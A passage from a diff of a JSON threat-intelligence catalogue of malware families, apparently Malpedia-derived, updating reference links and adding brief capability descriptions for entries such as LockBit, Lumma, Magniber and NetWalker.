"https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-lockbit", - "https://therecord.media/conti-ransomware-gang-chats-leaked-by-pro-ukraine-member/", - "https://techcommunity.microsoft.com/t5/security-compliance-and-identity/part-1-lockbit-2-0-ransomware-bugs-and-database-recovery/ba-p/3254354", - "https://www.prodaft.com/m/reports/LockBit_Case_Report___TLPWHITE.pdf", - "https://www.bleepingcomputer.com/news/security/lockbit-ransomware-gang-claims-attack-on-bridgestone-americas/", - "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://cybergeeks.tech/a-technical-analysis-of-the-leaked-lockbit-3-0-builder/", - "https://news.sophos.com/en-us/2020/10/21/lockbit-attackers-uses-automated-attack-tools-to-identify-tasty-targets", - "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", - "https://www.dr.dk/nyheder/viden/teknologi/frygtede-skulle-lukke-alle-vindmoeller-nu-aabner-vestas-op-om-hacking-angreb", - "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", - "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", - "https://www.lemagit.fr/actualites/252516821/Ransomware-LockBit-30-commence-a-etre-utilise-dans-des-cyberattaques", - "https://securityscorecard.com/research/the-increase-in-ransomware-attacks-on-local-governments", + "https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/", "https://blog.cyble.com/2021/08/16/a-deep-dive-analysis-of-lockbit-2-0/", - "https://www.connectwise.com/resources/lockbit-profile", - "https://www.crypsisgroup.com/insights/ransomwares-new-trend-exfiltration-and-extortion", + "https://securityaffairs.com/141666/cyber-crime/lockbit-green-ransomware-variant.html", + "https://www.bleepingcomputer.com/news/security/lockbit-ransomware-gang-claims-attack-on-bridgestone-americas/", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://www.dr.dk/nyheder/viden/teknologi/frygtede-skulle-lukke-alle-vindmoeller-nu-aabner-vestas-op-om-hacking-angreb", + "https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/", + "https://documents.trendmicro.com/assets/pdf/datasheet-ransomware-in-Q1-2022.pdf", "https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/481/original/010421_LockBit_Interview.pdf", - "https://www.sentinelone.com/labs/lockbit-3-0-update-unpicking-the-ransomwares-latest-anti-analysis-and-evasion-techniques/", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.youtube.com/watch?v=C733AyPzkoc", - "https://unit42.paloaltonetworks.com/emerging-ransomware-groups/", - "https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.cybereason.com/blog/threat-analysis-report-lockbit-2.0-all-paths-lead-to-ransom", - "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", - "https://blog.lexfo.fr/lockbit-malware.html", - "https://chuongdong.com/reverse%20engineering/2022/03/19/LockbitRansomware/", - "https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil/", + "https://www.glimps.fr/dcouverte-dune-nouvelle-version-du-ramsomware-lockbit/", + "https://www.prodaft.com/m/reports/LockBit_Case_Report___TLPWHITE.pdf", + "https://www.bleepingcomputer.com/news/security/lockbit-ransomware-gang-gets-aggressive-with-triple-extortion-tactic/", + "https://medium.com/s2wlab/w4-jan-en-story-of-the-week-ransomware-on-the-darkweb-7595544363b1", + "https://www.crowdstrike.com/blog/better-together-global-attitude-survey-takeaways-2021/", "https://seguranca-informatica.pt/malware-analysis-details-on-lockbit-ransomware/", - "https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware/Lockbit.md", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.bleepingcomputer.com/news/security/uk-rail-network-merseyrail-likely-hit-by-lockbit-ransomware/", + "https://www.mbsd.jp/2021/10/27/assets/images/MBSD_WhitePaper_A-deep-dive-analysis-of-LockBit2.0_Ransomware.pdf", + "https://asec.ahnlab.com/ko/39682/", + "https://news.sophos.com/en-us/2022/04/12/attackers-linger-on-government-agency-computers-before-deploying-lockbit-ransomware/", + "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility", + "https://www.ic3.gov/Media/News/2022/220204.pdf", + "https://amgedwageh.medium.com/lockbit-ransomware-analysis-notes-93a542fc8511", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.netskope.com/blog/netskope-threat-coverage-lockbit", + "https://www.youtube.com/watch?v=C733AyPzkoc", "https://ke-la.com/lockbit-2-0-interview-with-russian-osint/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockbit-targets-servers", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://www.zdnet.com/article/ransomware-hits-helicopter-maker-kopter/", + "https://www.cybereason.com/blog/threat-analysis-report-lockbit-2.0-all-paths-lead-to-ransom", + "https://securelist.com/modern-ransomware-groups-ttps/106824/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://news.sophos.com/en-us/2020/10/21/lockbit-attackers-uses-automated-attack-tools-to-identify-tasty-targets", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://securityintelligence.com/posts/lockbit-ransomware-attacks-surge-affiliate-recruitment/", + "https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/", + "https://www.connectwise.com/resources/lockbit-profile", + "https://www.fortinet.com/blog/threat-research/ransomware-roundup-new-variants", + "https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", + "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", + "https://redcanary.com/blog/intelligence-insights-november-2021/", + "https://therecord.media/conti-ransomware-gang-chats-leaked-by-pro-ukraine-member/", + "https://www.logpoint.com/en/blog/hunting-lockbit-variations-using-logpoint/", + "https://intel471.com/blog/privateloader-malware", + "https://www.seqrite.com/blog/indian-power-sector-targeted-with-latest-lockbit-3-0-variant/", + "https://news.sophos.com/en-us/2020/04/24/lockbit-ransomware-borrows-tricks-to-keep-up-with-revil-and-maze/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/d/thwarting-loaders-from-socgholish-to-blisters-lockbit-payload/iocs-thwarting-loaders-socgholish-blister.txt", + "https://therecord.media/missed-opportunity-bug-in-lockbit-ransomware-allowed-free-decryptions/", + "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://therecord.media/australian-cybersecurity-agency-warns-of-spike-in-lockbit-ransomware-attacks/", + "https://www.bleepingcomputer.com/news/security/lockbit-victim-estimates-cost-of-ransomware-attack-to-be-42-million/", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + 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- "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", "https://securelist.com/new-ransomware-trends-in-2022/106457/", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://medium.com/s2wlab/w4-jan-en-story-of-the-week-ransomware-on-the-darkweb-7595544363b1", - "https://www.zdnet.com/article/ransomware-hits-helicopter-maker-kopter/", - "https://documents.trendmicro.com/assets/pdf/datasheet-ransomware-in-Q1-2022.pdf", - "https://therecord.media/australian-cybersecurity-agency-warns-of-spike-in-lockbit-ransomware-attacks/", - "https://securityintelligence.com/posts/lockbit-ransomware-attacks-surge-affiliate-recruitment/", - "https://twitter.com/MsftSecIntel/status/1522690116979855360", - "https://www.coveware.com/blog/2022/1/26/ransomware-as-a-service-innovation-curve", - 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"https://socradar.io/lockbit-3-another-upgrade-to-worlds-most-active-ransomware/", + "https://www.cybereason.com/blog/threat-analysis-report-inside-the-lockbit-arsenal-the-stealbit-exfiltration-tool", + "https://blog.lexfo.fr/lockbit-malware.html", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", + "https://blog.cyble.com/2022/07/05/lockbit-3-0-ransomware-group-launches-new-version/", + "https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/", + "https://yoroi.company/research/hunting-the-lockbit-gangs-exfiltration-infrastructures/", + "https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware/Lockbit.md", "https://techcommunity.microsoft.com/t5/security-compliance-and-identity/part-2-lockbit-2-0-ransomware-bugs-and-database-recovery/ba-p/3254421", - "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", - 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- "https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new", - "https://www.welivesecurity.com/2022/04/27/lookback-ta410-umbrella-cyberespionage-ttps-activity/", "https://threatgen.com/taking-a-closer-look-at-the-lookback-malware-campaign-part-1/", - "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", - "https://nao-sec.org/2021/01/royal-road-redive.html", "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks", + "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf", + "https://www.dragos.com/blog/industry-news/new-ics-threat-activity-group-talonite/", + "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", + "https://www.welivesecurity.com/2022/04/27/lookback-ta410-umbrella-cyberespionage-ttps-activity/", + "https://nao-sec.org/2021/01/royal-road-redive.html", + "https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new", "https://www.proofpoint.com/us/threat-insight/post/lookback-forges-ahead-continued-targeting-united-states-utilities-sector-reveals", - "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf" + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/witchetty-steganography-espionage" ], "synonyms": [], "type": [] @@ -30204,11 +31882,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lordix", - "https://github.com/cryptogramfan/Malware-Analysis-Scripts/blob/master/decrypt_l0rdix_c2.py", - "https://twitter.com/hexlax/status/1058356670835908610", - "https://www.bromium.com/decrypting-l0rdix-rats-c2/", "https://www.bromium.com/an-analysis-of-l0rdix-rat-panel-and-builder/", - "https://blog.ensilo.com/l0rdix-attack-tool" + "https://www.bromium.com/decrypting-l0rdix-rats-c2/", + "https://blog.ensilo.com/l0rdix-attack-tool", + "https://twitter.com/hexlax/status/1058356670835908610", + "https://github.com/cryptogramfan/Malware-Analysis-Scripts/blob/master/decrypt_l0rdix_c2.py" ], "synonyms": [ "lordix" @@ -30223,13 +31901,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lorenz", - "https://therecord.media/free-decrypter-available-for-lorenz-ransomware/", - "https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/", - "https://twitter.com/AltShiftPrtScn/status/1423190900516302860?s=20", - "https://www.tesorion.nl/en/posts/lorenz-ransomware-analysis-and-a-free-decryptor/", + "https://arcticwolf.com/resources/blog/lorenz-ransomware-getting-dumped/", "https://www.bleepingcomputer.com/news/security/meet-lorenz-a-new-ransomware-gang-targeting-the-enterprise/", + "https://twitter.com/AltShiftPrtScn/status/1423190900516302860?s=20", "https://www.tesorion.nl/en/posts/lorenz-ransomware-rebound-corruption-and-irrecoverable-files/", - "https://www.cybereason.com/blog/cybereason-vs.-lorenz-ransomware" + "https://www.tesorion.nl/en/posts/lorenz-ransomware-analysis-and-a-free-decryptor/", + "https://www.cybereason.com/blog/cybereason-vs.-lorenz-ransomware", + "https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/", + "https://therecord.media/free-decrypter-available-for-lorenz-ransomware/" ], "synonyms": [], "type": [] @@ -30242,8 +31921,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.loup", - "https://twitter.com/r3c0nst/status/1295275546780327936", - "https://twitter.com/Arkbird_SOLG/status/1295396936896438272" + "https://twitter.com/Arkbird_SOLG/status/1295396936896438272", + "https://twitter.com/r3c0nst/status/1295275546780327936" ], "synonyms": [], "type": [] @@ -30256,9 +31935,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lowball", - "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html", + "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/", "https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/", - "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/" + "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" ], "synonyms": [], "type": [] @@ -30271,10 +31950,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lowkey", - "https://www.fireeye.com/blog/threat-research/2019/10/lowkey-hunting-for-the-missing-volume-serial-id.html", "https://www.mandiant.com/resources/apt41-us-state-governments", "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Winnti.pdf", - "https://www.welivesecurity.com/2019/10/21/winnti-group-skip2-0-microsoft-sql-server-backdoor/" + "https://www.welivesecurity.com/2019/10/21/winnti-group-skip2-0-microsoft-sql-server-backdoor/", + "https://www.fireeye.com/blog/threat-research/2019/10/lowkey-hunting-for-the-missing-volume-serial-id.html" ], "synonyms": [ "PortReuse" @@ -30284,13 +31963,27 @@ "uuid": "515d1318-c3b1-4d40-a321-31b3baf75414", "value": "LOWKEY" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.lowzero", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0922.pdf", + "https://malgamy.github.io/malware-analysis/The-Approach-of-TA413-for-Tibetan-Targets/#third-stage" + ], + "synonyms": [], + "type": [] + }, + "uuid": "1efd4902-ff9e-4e71-8867-6eddb9bc456c", + "value": "LOWZERO" + }, { "description": "This in Go written malware is lsass process memory dumper, which was custom developed by threat actors according to Security Joes. It has the capability to automatically exfiltrate the results to the free file transfer service \"transfer.sh\".", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lsassdumper", - "https://www.bleepingcomputer.com/news/security/hackers-fork-open-source-reverse-tunneling-tool-for-persistence/", - "https://secjoes-reports.s3.eu-central-1.amazonaws.com/Sockbot%2Bin%2BGoLand.pdf" + "https://secjoes-reports.s3.eu-central-1.amazonaws.com/Sockbot%2Bin%2BGoLand.pdf", + "https://www.bleepingcomputer.com/news/security/hackers-fork-open-source-reverse-tunneling-tool-for-persistence/" ], "synonyms": [], "type": [] @@ -30299,7 +31992,20 @@ "value": "lsassDumper" }, { - "description": "A stealer written in Rust.", + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.lu0bot", + "https://bazaar.abuse.ch/browse/tag/Lu0Bot/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "d81c068d-7420-40ee-ab50-5f29b2ccc314", + "value": "Lu0Bot" + }, + { + "description": "According to PCRisk, The Luca stealer can extract a variety of information from compromised machines. It targets data related to the following: operating system, device name, CPUs, desktop environment, network interface, user account name, preferred system language, running processes, etc.\r\n\r\nThis malicious program can steal information from over thirty Chromium-based browsers. From these applications, Luca can obtain Internet cookies, account log-in credentials (usernames/passwords), and credit card numbers. Additionally, the stealer can extract data from password manager and cryptowallet browser extensions compatible with over twenty browsers.\r\n\r\nThis malware also targets various messaging applications like Telegram, Discord, ICQ, Skype, Element, etc. It likewise aims to acquire information from gaming-related software such as Steam and Uplay (Ubisoft Connect). Furthermore, some versions of Luca can take screenshots and download the files stored on victims' devices.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.luca_stealer", @@ -30330,14 +32036,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.luminosity_rat", - "https://www.secureworks.com/research/threat-profiles/copper-fieldstone", - "https://umbrella.cisco.com/blog/2017/01/18/finding-the-rats-nest/", - "https://researchcenter.paloaltonetworks.com/2018/02/unit42-rat-trapped-luminositylink-falls-foul-vermin-eradication-efforts/", - "https://researchcenter.paloaltonetworks.com/2016/07/unit42-investigating-the-luminositylink-remote-access-trojan-configuration/", + "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf", "https://krebsonsecurity.com/2018/07/luminositylink-rat-author-pleads-guilty/", - "http://malwarenailed.blogspot.com/2016/07/luminosity-rat-re-purposed.html", + "https://researchcenter.paloaltonetworks.com/2018/02/unit42-rat-trapped-luminositylink-falls-foul-vermin-eradication-efforts/", + "https://umbrella.cisco.com/blog/2017/01/18/finding-the-rats-nest/", + "https://www.secureworks.com/research/threat-profiles/copper-fieldstone", "https://www.proofpoint.com/us/threat-insight/post/Light-After-Dark", - "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + "https://researchcenter.paloaltonetworks.com/2016/07/unit42-investigating-the-luminositylink-remote-access-trojan-configuration/", + "http://malwarenailed.blogspot.com/2016/07/luminosity-rat-re-purposed.html" ], "synonyms": [ "LuminosityLink" @@ -30348,13 +32054,21 @@ "value": "Luminosity RAT" }, { - "description": "Based on Mars Stealer.", + "description": "Lumma is an information stealer written in C, sold as a Malware-as-a-Service by LummaC on Russian-speaking underground forums and Telegram since at least August 2022. Lumma's capabilities are those of a classic stealer, with a focus on cryptocurrency wallets, and file grabber capabilities.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma", - "https://twitter.com/fumik0_/status/1559474920152875008" + "https://twitter.com/sekoia_io/status/1572889505497223169", + "https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/", + "https://twitter.com/Ishusoka/status/1614028229307928582", + "https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx", + "https://outpost24.com/blog/everything-you-need-to-know-lummac2-stealer", + "https://twitter.com/fumik0_/status/1559474920152875008", + "https://medium.com/s2wblog/lumma-stealer-targets-youtubers-via-spear-phishing-email-ade740d486f7" + ], + "synonyms": [ + "LummaC2 Stealer" ], - "synonyms": [], "type": [] }, "uuid": "a14270e4-2b5e-4a90-9ccd-0b68690dbc3e", @@ -30365,8 +32079,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lunchmoney", - "https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html", - "https://twitter.com/MrDanPerez/status/1097881406661902337" + "https://twitter.com/MrDanPerez/status/1097881406661902337", + "https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html" ], "synonyms": [], "type": [] @@ -30384,15 +32098,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "fcece2f7-e0ef-44e0-aa9f-578c2a56f532", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "929112e4-e252-4273-b3c2-fd414cfb2776", "value": "Lurk" }, @@ -30453,9 +32158,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lyposit", - "https://blog.avast.com/2013/05/20/lockscreen-win32lyposit-displayed-as-a-fake-macos-app/", "http://malware.dontneedcoffee.com/2013/05/unveiling-locker-bomba-aka-lucky-locker.html", - "http://malware.dontneedcoffee.com/2012/11/inside-view-of-lyposit-aka-for-its.html" + "http://malware.dontneedcoffee.com/2012/11/inside-view-of-lyposit-aka-for-its.html", + "https://blog.avast.com/2013/05/20/lockscreen-win32lyposit-displayed-as-a-fake-macos-app/" ], "synonyms": [ "Adneukine", @@ -30468,7 +32173,7 @@ "value": "Lyposit" }, { - "description": "", + "description": "According Zscaler, M00nD3V Logger has the ability to steal confidential information, such as browser passwords, FTP client passwords, email client passwords, DynDNS credentials, JDownloader credentials; capture Windows keystrokes; and gain access to the webcam and hook the clipboard. In all, it has the ability to steal passwords from 42 applications.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.m00nd3v", @@ -30485,9 +32190,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.m0yv", + "https://github.com/baderj/domain_generation_algorithms/blob/master/m0yv/dga.py", + "https://github.com/baderj/domain_generation_algorithms/blob/master/expiro/dga.py", + "https://youtu.be/3RYbkORtFnk", "https://www.bleepingcomputer.com/news/security/ransomware-dev-releases-egregor-maze-master-decryption-keys/", - "https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html", - "https://github.com/baderj/domain_generation_algorithms/blob/master/expiro/dga.py" + "https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html" ], "synonyms": [], "type": [] @@ -30501,8 +32208,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.macaw", "https://killingthebear.jorgetesta.tech/actors/evil-corp", - "https://www.bleepingcomputer.com/news/security/evil-corp-demands-40-million-in-new-macaw-ransomware-attacks/", - "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions" + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://www.bleepingcomputer.com/news/security/evil-corp-demands-40-million-in-new-macaw-ransomware-attacks/" ], "synonyms": [], "type": [] @@ -30515,13 +32222,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.machete", - "https://medium.com/@verovaleros/el-machete-what-do-we-know-about-the-apt-targeting-latin-america-be7d11e690e6", "https://www.cylance.com/en_us/blog/el-machete-malware-attacks-cut-through-latam.html", - "https://threatvector.cylance.com/en_us/home/threat-spotlight-machete-info-stealer.html", - "https://www.atomicmatryoshka.com/post/infographic-apts-in-south-america", "https://securelist.com/el-machete/66108/", + "https://www.welivesecurity.com/2019/08/05/sharpening-machete-cyberespionage/", "https://static1.squarespace.com/static/5a01100f692ebe0459a1859f/t/5da340ded5ccf627e1764059/1570980068506/Day3-1130-Green-A+study+of+Machete+cyber+espionage+operations+in+Latin+America.pdf", - "https://www.welivesecurity.com/2019/08/05/sharpening-machete-cyberespionage/" + "https://www.atomicmatryoshka.com/post/infographic-apts-in-south-america", + "https://medium.com/@verovaleros/el-machete-what-do-we-know-about-the-apt-targeting-latin-america-be7d11e690e6", + "https://threatvector.cylance.com/en_us/home/threat-spotlight-machete-info-stealer.html" ], "synonyms": [ "El Machete" @@ -30556,11 +32263,28 @@ "uuid": "192f93bc-fcf6-4aaf-ae2f-d9435a67e48b", "value": "Magala" }, + { + "description": "According to DCSO, this malware is written as a Extended Stored Procedure for a MSSQL server. The backdoor has capabilities to bruteforce logins to other MSSQL servers, adding a special hardcoded backdoor user in the case of successfully bruteforcing admin logins.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.maggie", + "https://www.sentinelone.com/labs/wip19-espionage-new-chinese-apt-targets-it-service-providers-and-telcos-with-signed-malware/", + "https://medium.com/@DCSO_CyTec/mssql-meet-maggie-898773df3b01", + "https://medium.com/@DCSO_CyTec/tracking-down-maggie-4d889872513d" + ], + "synonyms": [], + "type": [] + }, + "uuid": "2e4a63ab-9a04-472f-aad0-3eb4835a4697", + "value": "Maggie" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.magic_rat", + "https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://www.attackiq.com/2023/01/05/emulating-the-highly-sophisticated-north-korean-adversary-lazarus-group/", "https://blog.talosintelligence.com/2022/09/lazarus-magicrat.html" ], "synonyms": [], @@ -30570,25 +32294,30 @@ "value": "MagicRAT" }, { - "description": "", + "description": "According to TXOne, The Magniber ransomware was first identified in late 2017 when it was discovered using the Magnitude Exploit Kit to conduct malvertising attacks against users in South Korea. However, it has remained active since then, continually updating its tactics by employing new obfuscation techniques and methods of evasion. In April 2022, Magniber gained notoriety for disguising itself as a Windows update file to lure victims into installing it. It then began spreading via JavaScript in September 2022.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.magniber", - "https://blog.malwarebytes.com/threat-analysis/2017/10/magniber-ransomware-exclusively-for-south-koreans/", - "https://www.youtube.com/watch?v=lqWJaaofNf4", - "https://www.bleepingcomputer.com/news/security/fake-windows-10-updates-infect-you-with-magniber-ransomware/", - "https://asec.ahnlab.com/en/19273/", - "https://therecord.media/printnightmare-vulnerability-weaponized-by-magniber-ransomware-gang/", - "https://www.crowdstrike.com/blog/magniber-ransomware-caught-using-printnightmare-vulnerability/", - "https://medium.com/coinmonks/passive-income-of-cyber-criminals-dissecting-bitcoin-multiplier-scam-b9d2b6048372", - "http://asec.ahnlab.com/1124", - "https://forensicitguy.github.io/analyzing-magnitude-magniber-appx/", "https://www.cybereason.com/blog/threat-analysis-report-printnightmare-and-magniber-ransomware", - "https://decoded.avast.io/janvojtesek/magnitude-exploit-kit-still-alive-and-kicking/", - "https://asec.ahnlab.com/en/30645/", - "https://www.bleepingcomputer.com/news/security/magniber-ransomware-gang-now-exploits-internet-explorer-flaws-in-attacks/", + "https://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/", + "https://asec.ahnlab.com/en/41889/", "https://teamt5.org/tw/posts/internet-explorer-the-vulnerability-ridden-browser/", - "https://decoded.avast.io/janvojtesek/exploit-kits-vs-google-chrome/" + "https://medium.com/coinmonks/passive-income-of-cyber-criminals-dissecting-bitcoin-multiplier-scam-b9d2b6048372", + "https://blog.google/threat-analysis-group/magniber-ransomware-actors-used-a-variant-of-microsoft-smartscreen-bypass/", + "https://decoded.avast.io/janvojtesek/magnitude-exploit-kit-still-alive-and-kicking/", + "https://decoded.avast.io/janvojtesek/exploit-kits-vs-google-chrome/", + "https://www.bleepingcomputer.com/news/security/fake-windows-10-updates-infect-you-with-magniber-ransomware/", + "https://www.youtube.com/watch?v=lqWJaaofNf4", + "https://threatresearch.ext.hp.com/magniber-ransomware-switches-to-javascript-targeting-home-users-with-fake-software-updates/", + "https://asec.ahnlab.com/en/19273/", + "https://blog.malwarebytes.com/threat-analysis/2017/10/magniber-ransomware-exclusively-for-south-koreans/", + "https://www.crowdstrike.com/blog/magniber-ransomware-caught-using-printnightmare-vulnerability/", + "http://asec.ahnlab.com/1124", + "https://asec.ahnlab.com/en/30645/", + "https://forensicitguy.github.io/analyzing-magnitude-magniber-appx/", + "https://www.cybereason.com/blog/threat-analysis-msi-masquerading-as-software-installer", + "https://therecord.media/printnightmare-vulnerability-weaponized-by-magniber-ransomware-gang/", + "https://www.bleepingcomputer.com/news/security/magniber-ransomware-gang-now-exploits-internet-explorer-flaws-in-attacks/" ], "synonyms": [], "type": [] @@ -30601,68 +32330,68 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mailto", - "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", - "https://www.bleepingcomputer.com/news/security/enel-group-hit-by-ransomware-again-netwalker-demands-14-million", - "https://blogs.blackberry.com/en/2021/03/zerologon-to-ransomware", - "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/an-in-depth-look-at-mailto-ransomware-part-two-of-three/", - "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://www.zeit.de/digital/2021-06/cybercrime-extortion-internet-spyware-ransomware-police-prosecution-hackers", - "https://www.bleepingcomputer.com/news/security/mailto-netwalker-ransomware-targets-enterprise-networks/", + "https://www.bleepingcomputer.com/news/security/netwalker-ransomware-affiliate-sentenced-to-80-months-in-prison/", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "https://www.ucsf.edu/news/2020/06/417911/update-it-security-incident-ucsf", - "https://id-ransomware.blogspot.com/2019/09/koko-ransomware.html", - "https://www.bleepingcomputer.com/news/security/netwalker-ransomware-infecting-users-via-coronavirus-phishing/", - "https://danusminimus.github.io/Zero2Auto-Netwalker-Walkthrough/", + "https://lopqto.me/posts/automated-dynamic-import-resolving", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + 